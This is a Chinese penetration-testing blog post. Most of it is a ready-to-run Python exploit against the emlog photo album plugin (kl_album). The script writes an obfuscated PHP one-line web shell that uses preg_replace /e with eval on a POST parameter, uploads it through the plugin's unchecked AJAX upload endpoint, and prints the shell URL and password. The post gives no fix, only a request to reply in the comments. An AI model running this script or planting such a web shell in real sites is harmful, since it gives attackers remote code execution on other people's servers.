«

emlog相册插件getshell exploit

时间:2015-5-29 22:51     作者:admin     分类: 渗透测试


emlog相册插件可直接getshell 这是python的exp

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# Date: 2015/4/30

# Created by:Mrxn

# 博客 https://mrxn.net/

import sys, os, re, time


try:

    import requests

except ImportError:

    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():

    # os.system(['clear', 'cls'][os.name == 'nt'])

    print '+' + '-' * 60 + '+'

    print '\t Python emlog相册插件getshell exploit'

    print '\t   Blog:https://mrxn.net/'

    print '\t\t Code BY: Mrxn'

    print '\t\t Time:2015-05-29'

    print '+' + '-' * 60 + '+'

    if len(sys.argv) != 2:

        print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'

        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.xxxxx.cn/'

        sys.exit()


def getshell(url):

    '''

    emlog相册插件上传getshell函数

    :param url:  emlog url地址

    :return:     返回得到的shell地址

    '''

    up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'

    shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"

    filename = "oneok'.php"

    with open(filename, 'wb') as shellok:

        shellok.write(shell)

    files = {

        'Filedata': (filename, open(filename, 'rb'), 'text/json'),

        'album': (None, 'waitalone.cn')

    }

    try:

        up_res = requests.post(up_url, files=files).content

        shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)

    except Exception, msg:

        print '\n[x] 发生错误了,卧槽!!!:', msg

    else:

        if shellok: return url + shellok[0]


if __name__ == '__main__':

    usage()

    start = time.time()

    url = sys.argv[1]

    if url[-1] != '/': url += '/'

    ok = getshell(url)

    try:

        os.remove('oneok\'.php')

    except Exception:

        print '\n[x] 删除临时文件失败,请手工删除!'

    if ok:

        print '\n[!] 爷,人品暴发了,成功得到Shell: \n%s 密码:%s' % (ok, 'hstsec')

    else:

        print '\n[x] 报告大爷,本站不存在此漏洞!'

    print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

想知道修复方法么,如果你是技术屌,应该知道了,如果不是呢,回复吧 O(∩_∩)O哈哈~

标签: 渗透测试 shell Python

版权所有:Mrxn's Blog
文章标题:emlog相册插件getshell exploit
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读

推荐阅读: